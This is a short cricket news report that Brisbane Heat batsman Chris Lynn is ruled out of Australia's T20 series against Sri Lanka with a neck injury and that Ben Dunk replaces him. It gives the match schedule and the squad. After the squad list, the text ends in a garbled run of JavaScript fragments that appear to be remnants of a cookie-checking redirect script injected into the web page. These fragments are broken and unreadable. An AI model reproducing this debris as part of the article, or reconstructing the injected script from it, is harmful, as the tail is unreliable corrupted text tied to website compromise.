BRISBANE, AUSTRALIA - JANUARY 13: Chris Lynn of Australia plays a shot during game one of the One Day International series between Australia and Pakistan at The Gabba on January 13, 2017 in Brisbane, Australia. (Photo by Bradley Kanaris/Getty Images)

Australia has suffered a huge blow ahead of the T20 series against Sri Lanka, with Brisbane Heat star Chris Lynn ruled out of the series due to injury.

Lynn missed the end of the one-day international series against Pakistan last month due to a bulging disc in his neck. He had hoped to be fit for the upcoming T20 series, however, he has aggravated the injury at training.

He has been replaced in the squad by Adelaide Strikers' batsman, Ben Dunk.

"Chris resumed some light training as part of his rehabilitation but was still unable to function at the level he needs to play international cricket due to his existing neck injury,” Team Physiotherapist Kevin Sims said.

"Chris will be seeing a specialist later this week and from there we will have a better understanding of the ongoing management, along with the return to play timeframes.”

Australia v  Sri Lanka T20 schedule:

  • February 17, MCG
  • February 19, Simonds Stadium
  • February 22, Adelaide Oval

Full Australian squad: Aaron Finch (c), Patrick Cummins, Ben Dunk, James Faulkner, Travis Head, Moises Henriques, Michael Klinger, Tim Paine, Jhye Richardson, Billy Stanlake, Ashton Turner, Andrew Tye, Adam Zampa. "(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}